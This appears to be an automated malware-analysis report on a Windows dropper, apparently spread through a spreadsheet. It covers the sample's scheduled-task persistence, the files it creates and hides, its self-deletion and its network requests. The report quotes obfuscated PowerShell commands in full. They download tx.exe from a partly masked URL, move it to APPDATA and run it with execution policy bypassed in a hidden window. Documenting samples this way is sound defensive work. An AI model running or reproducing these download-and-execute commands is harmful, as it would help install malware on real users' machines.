Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\updates\opqsbvjxblfs
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 (nEw-oB`jecT Net.WebcL`IENt).('Down'+'loadFile').Invoke('http://ti##url.com/y8fytkjs','tx.exe')
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 stARt`-slE`Ep 20; Move-Item "tx.exe" -Destination "${enV`:appdata}"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 -EP bypass stARt`-slE`Ep 25; cd ${enV`:appdata};.('.'+'/tx.exe')
Injects code into
the following user processes:
- tx.exe
Modifies file system
Creates the following files
- <Current directory>\e8601000
- %HOMEPATH%\documents\tx.exe
- %APPDATA%\opqsbvjxblfs.exe
- %TEMP%\tmp17c4.tmp
- %HOMEPATH%\amd\logs.dat
Sets the 'hidden' attribute to the following files
- %HOMEPATH%\amd\logs.dat
Deletes the following files
- %TEMP%\tmp17c4.tmp
Moves the following files
- from %HOMEPATH%\documents\tx.exe to %APPDATA%\tx.exe
Substitutes the following files
- <PATH_SAMPLE>.xls
Deletes itself.
Network activity
TCP
HTTP GET requests
- http://ti##url.com/y8fytkjs
- http://18#.#39.242.194/d2FKHizf7Yeq7OF.exe
UDP
- DNS ASK ti##url.com
Miscellaneous
Creates and executes the following
- '%APPDATA%\tx.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 (nEw-oB`jecT Net.WebcL`IENt).('Down'+'loadFile').Invoke('http://ti##url.com/y8fytkjs','tx.exe')' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 stARt`-slE`Ep 20; Move-Item "tx.exe" -Destination "${enV`:appdata}"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 -EP bypass stARt`-slE`Ep 25; cd ${enV`:appdata};.('.'+'/tx.exe')' (with hidden window)
- '%WINDIR%\syswow64\schtasks.exe' /Create /TN "Updates\oPQsbVjXbLfs" /XML "%TEMP%\tmp17C4.tmp"' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\schtasks.exe' /Create /TN "Updates\oPQsbVjXbLfs" /XML "%TEMP%\tmp17C4.tmp"
